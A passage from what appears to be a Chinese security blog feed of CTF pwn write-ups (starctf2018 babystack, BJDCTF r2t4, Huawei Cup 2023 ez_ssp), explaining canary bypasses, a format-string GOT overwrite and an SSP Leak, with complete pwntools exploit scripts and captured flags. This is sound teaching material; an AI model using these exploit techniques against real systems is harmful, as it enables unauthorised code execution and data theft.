builtin">hex</span><span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"bin_sh_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>bin_sh_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> p64<span class="token punctuation">(</span>one_gadget_addr<span class="token punctuation">)</span><span class="token comment"># payload = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)</span>debug<span class="token punctuation">(</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token comment"># 与远程交互</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h1 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h1><blockquote><p>flag{4f062841-5776-44e5-b0fc-adab7593184b}</p></blockquote><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack7.png" alt="【starctf2018】babystack7.png"></p>]]></content>
    
    
    <summary type="html">通过修改 TLS 结构体中的 stack_guard 变量来控制 Canary，前提是溢出空间足够长并且存在子线程，但是这个题成功构造 system(&quot;/bin/sh&quot;) 却无法 getshell，必须使用 execve(&quot;/bin/sh&quot;, 0, 0)</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="Writeup" scheme="https://www.uf4te.cn/tags/Writeup/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
    <category term="Bypass" scheme="https://www.uf4te.cn/tags/Bypass/"/>
    
    <category term="栈迁移" scheme="https://www.uf4te.cn/tags/%E6%A0%88%E8%BF%81%E7%A7%BB/"/>
    
  </entry>
  
  <entry>
    <title>【BJDCTF 2nd】r2t4</title>
    <link href="https://www.uf4te.cn/posts/a0efa060.html"/>
    <id>https://www.uf4te.cn/posts/a0efa060.html</id>
    <published>2024-05-14T06:14:52.000Z</published>
    <updated>2025-10-29T08:20:39.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="收获"><a href="#收获" class="headerlink" title="收获"></a>收获</h1><ul><li>存在 Canary 保护，只能使用一次格式化字符串漏洞，但没有开 PIE，因此想到劫持 <code>__stack_chk_fail</code> 的 GOT 表地址为后门函数的地址</li></ul><hr><p><a href="https://buuoj.cn/challenges#[BJDCTF%202nd]r2t4">【BJDCTF 2nd】r2t4</a></p><hr><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><p>查看保护机制：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BJDCTF%202nd%E3%80%91r2t4%201.png" alt="【BJDCTF 2nd】r2t4 1.png"></p><p>尝试运行，明显存在溢出：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BJDCTF%202nd%E3%80%91r2t4%202.png" alt="【BJDCTF 2nd】r2t4 2.png"></p><p>IDA 下分析：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BJDCTF%202nd%E3%80%91r2t4%203.png" alt="【BJDCTF 2nd】r2t4 3.png"></p><p>明显 <code>buf</code> 处存在溢出，且 <code>printf(buf)</code> 存在格式化字符串漏洞</p><p>存在一个后门函数 <code>backdoor()</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BJDCTF%202nd%E3%80%91r2t4%204.png" alt="【BJDCTF 2nd】r2t4 4.png"></p><p>但这里 <code>buf</code> 溢出的长度有限，只能刚好覆盖返回地址</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BJDCTF%202nd%E3%80%91r2t4%205.png" alt="【BJDCTF 2nd】r2t4 5.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BJDCTF%202nd%E3%80%91r2t4%206.png" alt="【BJDCTF 2nd】r2t4 6.png"></p><p>考虑到 <code>Partial RELRO</code>，并且存在格式化字符串漏洞，且只能使用一次格式化字符串漏洞</p><p>因此尝试劫持 <code>__stack_chk_fail</code> 函数的 GOT 表地址为后门函数 <code>backdoor()</code> 的地址</p><p>由于是 64 位程序，根据栈的布局可知，输入的格式化字符串偏移为 6</p><blockquote><p>如果对格式化字符串漏洞不熟悉的话，可以看看本站《<a href="262e948.html">格式化字符串漏洞与利用</a>》一文</p></blockquote><hr><h1 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h1><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span><span class="token comment"># arch 可选 : i386 / amd64 / arm / mips</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">0</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./r2t4"</span><span class="token punctuation">)</span>libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./libc-2.29.so"</span><span class="token punctuation">)</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span><span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./r2t4"</span><span class="token punctuation">)</span><span class="token keyword">else</span><span class="token punctuation">:</span><span class="token comment"># 远程程序的 IP 和端口号</span>    io <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"node5.buuoj.cn"</span><span class="token punctuation">,</span> <span class="token number">28170</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>   <span class="token comment"># 只有本地才可调试，远程无法调试</span>        gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>        pause<span class="token punctuation">(</span><span class="token punctuation">)</span>backdoor_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"backdoor"</span><span class="token punctuation">]</span>__stack_chk_fail_got_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">"__stack_chk_fail"</span><span class="token punctuation">]</span>payload <span class="token operator">=</span> fmtstr_payload<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span>__stack_chk_fail_got_addr<span class="token punctuation">:</span> backdoor_addr<span class="token punctuation">&#125;</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token comment"># 与远程交互</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h1 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h1><blockquote><p>flag{90b19213-0fe1-4802-a73f-7e4f38962e88}</p></blockquote><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BJDCTF%202nd%E3%80%91r2t4%207.png" alt="【BJDCTF 2nd】r2t4 7.png"></p>]]></content>
    
    
    <summary type="html">程序存在 Canary 保护，只能使用一次格式化字符串漏洞，但没有开 PIE，溢出也只能刚好覆盖到返回地址，因此想绕过 Canary 构造 ROP 很困难，但可以劫持 __stack_chk_fail 的 GOT 表地址为后门函数的地址</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="Writeup" scheme="https://www.uf4te.cn/tags/Writeup/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
    <category term="Bypass" scheme="https://www.uf4te.cn/tags/Bypass/"/>
    
  </entry>
  
  <entry>
    <title>【华为杯 2023】ez_ssp</title>
    <link href="https://www.uf4te.cn/posts/12245599.html"/>
    <id>https://www.uf4te.cn/posts/12245599.html</id>
    <published>2024-05-13T02:13:27.000Z</published>
    <updated>2025-10-29T08:20:27.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="收获"><a href="#收获" class="headerlink" title="收获"></a>收获</h1><ul><li><p><mark>利用 glibc-all-in-one 和 patchelf 修改二进制文件的 libc 版本</mark></p></li><li><p><mark>GDB 进行多进程的调试方法</mark></p></li><li><p>利用 SSP Leak 绕过 Canary，修改 <code>__fortify_fail</code> 函数中要输出的变量 <code>__libc_argv[0]</code> 的地址，故意触发 Canary 保护实现任意地址读</p></li><li><p><mark>libc 中存在着一个 <code>environ</code> 函数，它是一个全局变量，储存着系统的环境变量，通过泄露 <code>environ</code> 的真实地址处的值可以得到栈上存储的环境变量的首地址</mark></p></li></ul><hr><p>今天整理笔记的时候找例题突然想起了去年华为杯有一道类似的题，不过链接早就不记得啦，需要原题二进制文件的去网上搜搜看有没有吧，或者邮箱找我要也可以</p><hr><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><blockquote><p>由于是本地复现，这个 SSP Leak 依赖于 Glibc 版本，详情可查看本站《<a href="c695aa69.html">Bypass安全机制</a>》一文的《<a href="c695aa69.html#SSP-Leak-%E7%BB%95%E8%BF%87-Canary">SSP Leak 绕过 Canary</a>》部分</p><p>因此，我们需要先使用 patchelf 更改题目的二进制程序使用的 libc 版本，具体操作详情可查看本站《<a href="487911c5.html">Pwntools与exp技巧</a>》一文的《<a href="487911c5.html#glibc-all-in-one-%E5%92%8C-patchelf">glibc-all-in-one 和 patchelf</a>》部分</p></blockquote><p>该题给出了 Glibc 版本为 2.23</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp1.png" alt="华为杯2023-ez_ssp1.png"></p><p>由于 SSP Leak 在 Ubuntu 22.04 本地是无法复现的，因为 Glibc 2.35 修复了这个问题（不过 Ubuntu 16.04 的 Glibc 2.23 可以）</p><p>首先通过 glibc-all-in-one 下载 <code>2.23-0ubuntu11.3_amd64</code> 版本的 libc，并通过 patchelf 替换：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp2.png" alt="华为杯2023-ez_ssp2.png"></p><p>安全机制：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp4.png" alt="华为杯2023-ez_ssp4.png"></p><p>在 IDA 下分析：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp3.png" alt="华为杯2023-ez_ssp3.png"></p><p>程序会先打开本地的 flag 文件并读取内容，保存到 <code>s</code> 中，<code>s</code> 位于栈上</p><p><strong>由于我们本地没有 flag 文件，所以需要自己创建一个，否则程序运行会报错，我们也无法进行调试</strong></p><p>flag 内容随便写：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp5.png" alt="华为杯2023-ez_ssp5.png"></p><p>首先根据 <code>v3</code> 生成随机数 <code>v7</code>，然后将我们输入的 <code>buf</code> 与 <code>v7</code> 一起作为 <code>sub_400A65()</code> 的参数：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp6.png" alt="华为杯2023-ez_ssp6.png"></p><p>可以看到这个函数也是用来生成随机数的，将随机数返回赋值给 <code>v9</code></p><p>然后将 flag 和 <code>v9</code> 一起执行 <code>sub_400AB0(s, v9, 50)</code>，根据前面读取 flag 的长度为 <code>0x32</code> 可以得知，这里的 <code>50</code> 是读取 flag 的长度</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp7.png" alt="华为杯2023-ez_ssp7.png"></p><p>这个函数将 flag 的每一位与随机数 <code>v9</code> 进行了异或，差不多可以理解为异或加密了一下</p><p>然后有一个 for 循环，可以循环 3 次，每次都会通过 <code>fork()</code> 函数生成一个子进程</p><blockquote><p>注意：<strong>子进程崩溃不会导致父进程退出</strong></p><p>因此我们相当于有 3 次覆盖 Canary 的机会，但是想修改返回地址依然是没有意义的，因为子进程会崩溃</p></blockquote><p>每轮循环有两次输入，第一个 <code>buf</code> 处明显没有溢出，但第二个 <code>gets(v12)</code> 存在明显溢出</p><p>栈中的情况：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp8.png" alt="华为杯2023-ez_ssp8.png"></p><p>静态信息获取差不多了，接下来就需要进行动态调试了</p><blockquote><p>注意，这里涉及到多进程，需要进行多进程的 GDB 动态调试，如果不熟悉的话，可以看看本站《<a href="c9687d57.html">GDB的基础和使用</a>》一文中的《<a href="c9687d57.html#fork-%E5%A4%9A%E8%BF%9B%E7%A8%8B%E8%B0%83%E8%AF%95">fork 多进程调试</a>》部分</p></blockquote><p>为了便于我们调试，我们首先将 GDB 设置如下：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>gdb<span class="token punctuation">)</span> <span class="token builtin class-name">set</span> follow-fork-mode child   <span class="token comment"># fork 之后调试子进程，父进程不受影响</span><span class="token punctuation">(</span>gdb<span class="token punctuation">)</span> <span class="token builtin class-name">set</span> detach-on-fork off   <span class="token comment"># 同时调试父进程和子进程</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>然后在 <code>gets()</code> 的 <code>0x400CAC</code> 处下断点：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp9.png" alt="华为杯2023-ez_ssp9.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp10.png" alt="华为杯2023-ez_ssp10.png"></p><p>第一个输入不存在溢出，我这里输入 <code>uf4te</code></p><p>第二个输入需要计算偏移，我这里输入 <code>aaaaaaaa</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp11.png" alt="华为杯2023-ez_ssp11.png"></p><p>根据触发 Canary 会输出文件名，RBP 下面那一串文件路径就是我们所说的 <code>__libc_argv[0]</code>，也可以在 GDB 中进行验证：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp12.png" alt="华为杯2023-ez_ssp12.png"></p><p>计算偏移得到第二次输入与 <code>__libc_argv[0]</code> 之间的距离，需要填充 <code>0x128</code> 个垃圾字符进行覆盖</p><p>虽然程序没有开 PIE，但是栈地址是随机的，因此我们还需要用到 libc 中的 <code>environ</code> 函数帮助我们计算栈偏移</p><blockquote><p>关于 <code>environ</code> 函数的详细介绍见本站的《<a href="c695aa69.html">Bypass安全机制</a>》一文中《<a href="c695aa69.html#SSP-Leak-%E7%BB%95%E8%BF%87-Canary">SSP Leak 绕过 Canary</a>》部分</p></blockquote><p>因此，我们需要首先获取 <code>environ</code> 函数的真实地址，这里选择先泄露一个 <code>read()</code> 函数的真实地址，然后进行 libc 基地址的计算即可</p><p>将 <code>__libc_argv[0]</code> 覆盖为 <code>read_got_addr</code>，然后由于触发 Canary 会将 <code>read()</code> 函数的真实地址泄露出来</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp13.png" alt="华为杯2023-ez_ssp13.png"></p><p>计算得到 <code>environ</code> 函数的真实地址后，再将 <code>__libc_argv[0]</code> 覆盖为 <code>environ</code> 函数的真实地址，泄露出栈上环境变量的首地址</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp14.png" alt="华为杯2023-ez_ssp14.png"></p><p>在栈中可以进行验证：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp15.png" alt="华为杯2023-ez_ssp15.png"></p><p>往上翻可以看到 flag 存储的位置</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp16.png" alt="华为杯2023-ez_ssp16.png"></p><p>计算栈上环境变量的首地址与 flag 存储位置之间的偏移</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp17.png" alt="华为杯2023-ez_ssp17.png"></p><p>因此 <code>flag_addr = stack_addr - 0x178</code></p><p>第三次循环我们直接将 <code>__libc_argv[0]</code> 覆盖为 <code>flag_addr</code>，将 flag 打印出来</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp18.png" alt="华为杯2023-ez_ssp18.png"></p><p>不过这里的 flag 是加密后的，我们再将其异或还原即可</p><p>由于异或的参数与随机数有关，记得将 <code>random id</code> 记录下来：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp19.png" alt="华为杯2023-ez_ssp19.png"></p><hr><h1 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h1><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span><span class="token comment"># arch 可选 : i386 / amd64 / arm / mips</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">1</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./pwn"</span><span class="token punctuation">)</span>libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"/opt/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so"</span><span class="token punctuation">)</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span><span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./pwn"</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>   <span class="token comment"># 只有本地才可调试，远程无法调试</span>        gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>        pause<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment"># 用 read_got_addr 覆盖 __libc_argv[0] 泄露 read 函数的真实地址</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b"What's your name?\n"</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"uf4te"</span><span class="token punctuation">)</span>read_got_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">'read'</span><span class="token punctuation">]</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'What do you want to do?\n'</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x128</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>read_got_addr<span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'*** stack smashing detected ***: '</span><span class="token punctuation">)</span>read_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"read_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>read_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 根据 read 函数的真实地址计算 libc 基地址，同时得到 environ 的真实地址</span>libcbase <span class="token operator">=</span> read_addr <span class="token operator">-</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">'read'</span><span class="token punctuation">]</span>environ_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">'environ'</span><span class="token punctuation">]</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"environ_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>environ_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 用 environ 的真实地址覆盖 __libc_argv[0] 泄露栈上环境变量的首地址</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b"What's your name?\n"</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"uf4te"</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'What do you want to do?\n'</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x128</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>environ_addr<span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'*** stack smashing detected ***: '</span><span class="token punctuation">)</span>stack_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"stack_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>stack_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 由于栈上环境变量的首地址与 flag 在栈上的位置相距 0x178，计算 flag 在栈上的真实地址</span>flag_addr <span class="token operator">=</span> stack_addr <span class="token operator">-</span> <span class="token number">0x178</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"flag_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>flag_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 用 flag 在栈上的真实地址覆盖 __libc_argv[0] 泄露加密后的 flag</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b"What's your name?\n"</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"uf4te"</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'Your random id is: '</span><span class="token punctuation">)</span><span class="token comment"># 由于 flag 的加密与生成的随机数有关，注意到这个随机数是不变的，获取随机数</span>random <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'\n'</span><span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token string">b'\n'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"random id -->"</span><span class="token punctuation">,</span> random<span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'What do you want to do?\n'</span><span class="token punctuation">)</span><span class="token comment"># debug()</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x128</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>flag_addr<span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'*** stack smashing detected ***: '</span><span class="token punctuation">)</span>flag_enc <span class="token operator">=</span> io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"flag_enc -->"</span><span class="token punctuation">,</span> flag_enc<span class="token punctuation">)</span><span class="token comment"># flag 的加密是简单的异或，因此异或解密还原 flag</span>flag <span class="token operator">=</span> <span class="token string">""</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    flag <span class="token operator">+=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>flag_enc<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">^</span> random<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>flag<span class="token punctuation">)</span><span class="token comment"># 与远程交互</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h1 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h1><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp20.png" alt="华为杯2023-ez_ssp20.png"></p>]]></content>
    
    
    <summary type="html">利用 SSP Leak 绕过 Canary，通过修改 __fortify_fail 函数中要输出的变量 __libc_argv[0] 的地址，故意触发 Canary 保护来实现任意地址读</summary>
    
    
    
